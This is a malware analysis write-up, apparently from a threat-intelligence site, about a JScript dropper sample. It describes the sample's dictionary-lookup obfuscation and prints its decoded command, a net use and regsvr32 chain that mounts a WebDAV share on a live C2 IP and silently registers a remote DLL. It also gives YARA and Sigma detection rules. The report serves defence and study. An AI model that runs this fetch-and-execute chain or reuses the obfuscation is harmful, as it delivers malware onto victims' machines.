Unclassified JS WebDAV Dropper: aa8ff8b9 — 24th confirmed sibling, noise-key dictionary dialect

Executive Summary: A 3.9 KB JScript dropper using 36-entry dictionary lookup-table obfuscation with random noise key names. Decodes to a WScript.Shell → cmd.exe /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\12235285291763.dll execution chain. Twenty-fourth confirmed sibling of the unclassified-js-webdav-dropper family. No sandbox gate, no PowerShell wrapper, no wordpad decoy. Static-only (text script, no CAPE detonation).

What It Is

• SHA-256: aa8ff8b95a88d063be9f13f121864f11871eae721da54835d46361e4398e7d56 ^[file.txt]
• Filename: 560532115483812774.js ^[triage.json]
• Size: 3,907 bytes ^[file.txt]
• File type: ASCII text with CRLF line terminators, 37 lines ^[file.txt] ^[exiftool.json]
• Family: unclassified-js-webdav-dropper (24th confirmed sibling)
• C2: 45.9.74.36:8888 (same IP as siblings fa7e181d, d0124d62, d90baa30, cb5d302f, a435a37b)
• Payload filename: 12235285291763.dll

This sample is a near-identical execution-engine sibling to a435a37b (23rd sibling, same 36-entry noise-key dictionary dialect, same C2 IP, no PowerShell wrapper). The only material differences are the specific noise key names and the payload DLL filename.

How It Works

Obfuscation Engine

The script defines an object kpdnxf with 36 key/value pairs mapping random noise strings (8–20 lowercase characters with no semantic meaning) to single ASCII characters. ^[strings.txt:1-36]

Example mappings:

• kpdnxf['ryezeqgrlonwacth'] = 'm'
• kpdnxf['mwvlvwadla'] = 'r'
• kpdnxf['lyhhkf'] = 'e'
• kpdnxf['fzmh'] = '8'
• kpdnxf['xksuypvgrhbilie'] = '1'

The payload string is assembled at runtime via Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run'](...), with each character decoded from the dictionary at execution time.

Decoded Execution Chain

cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\12235285291763.dll

• net use mounts the WebDAV share at \\45.9.74.36@8888\davwwwroot\ ^[manual-decode]
• regsvr32 /s silently registers the remote DLL 12235285291763.dll ^[manual-decode]
• No wordpad decoy, no PowerShell wrapper, no sandbox gate — stripped-down execution chain

Structural Comparison to Prior Siblings

All six samples share identical execution logic: dictionary decode → Function('return this')() → WScript.Shell.run → cmd /k net use ... && regsvr32 /s .... The only per-sample variance is the noise key names and the payload DLL filename.

C2 Infrastructure

No domains, no TLS, no authentication — raw HTTP WebDAV on port 8888. The regsvr32 system binary is a signed Microsoft executable, making this a textbook webdav-regsvr32-dll-sideloading pattern (T1218.010).

Interesting Tidbits

• No anti-analysis whatsoever: No debugger checks, no VM detection, no time-bombs, no connectivity checks, no sandbox gates. ^[strings.txt] ^[capa.txt] (capa skipped this sample because it is not a PE)
• Hand-written, not commercial: The obfuscation is a simple dictionary lookup with no control-flow flattening, no string encryption, no dead-code injection. The key names are random noise, not alliterative phrases or natural language. Low code quality, high volume — suggests a script-kit or manual generation pipeline.
• CRLF line endings: The script uses Windows CRLF (\r\n) line terminators, consistent with Windows-targeted JScript droppers. ^[file.txt]
• Filename is numeric only: 560532115483812774.js — 18 digits, no semantic content. This naming convention is shared across the noise-key dictionary siblings (all use long numeric .js filenames).

Deployable Signatures

YARA Rule

rule WEBDAV_JS_Dropper_Dictionary_NoiseKey_36 {
    meta:
        description = "JScript WebDAV dropper with 36-entry noise-key dictionary lookup obfuscation"
        author = "packetpursuit"
        date = "2026-06-27"
        family = "unclassified-js-webdav-dropper"
        hash = "aa8ff8b95a88d063be9f13f121864f11871eae721da54835d46361e4398e7d56"
    strings:
        $dict_init = "kpdnxf=[];" ascii wide
        $dict_pattern = /kpdnxf\['[a-z]{8,20}'\]='[a-z0-9]';/
        $func_this = "Function(''" ascii wide
        $wscript_shell = /WScript\.Shell|WScript\.Shell\.run/i
        $net_use = /net use \\\\[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}@\d+\\davwwwroot/i
        $regsvr32 = "regsvr32 /s" ascii wide
    condition:
        $dict_init and
        #dict_pattern >= 30 and
        ($wscript_shell or $func_this) and
        ($net_use or $regsvr32)
}

Behavioral Hunt Query (Sigma)

title: WebDAV DLL Registration via Regsvr32 from JScript Process
description: Detects regsvr32.exe loading a DLL from a WebDAV UNC path spawned by wscript.exe/cscript.exe
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith:
      - '\\wscript.exe'
      - '\\cscript.exe'
    Image|endswith: '\\regsvr32.exe'
    CommandLine|contains:
      - 'regsvr32 /s'
      - '\\davwwwroot\\'
      - '@8888\\'
  condition: selection
falsepositives:
  - Legitimate WebDAV-based software deployment (rare)
level: high

IOC List

Detection Signatures

No capa output available — the sample is ASCII text, not a supported binary format. ^[capa.txt]

No YARA matches. ^[yara.txt]

References

• unclassified-js-webdav-dropper — Family entity page
• js-dictionary-char-lookup-obfuscation — Technique page for dictionary lookup obfuscation
• webdav-regsvr32-dll-sideloading — Technique page for WebDAV + regsvr32 execution chain
• Sibling analysis: a435a37b — 23rd confirmed sibling, same dialect and C2 ^[/intel/analyses/a435a37bb42d4d9d60eeec11ed434a8f053bd364cbb04e212a8f10085477ad07.html]

Provenance

• Sample sourced from MalwareBazaar via abuse.ch API. ^[metadata.json]
• Static analysis: file v5.44, exiftool v12.76, strings GNU binutils, ssdeep v2.14.1. ^[file.txt] ^[exiftool.json] ^[strings.txt] ^[ssdeep.txt]
• Dynamic analysis: Not applicable — CAPE skipped text files. ^[dynamic-analysis.md]
• Manual JScript deobfuscation performed via Python dictionary extraction and string concatenation simulation. Decoded payload verified by independent reconstruction of kpdnxf lookup table from strings.txt.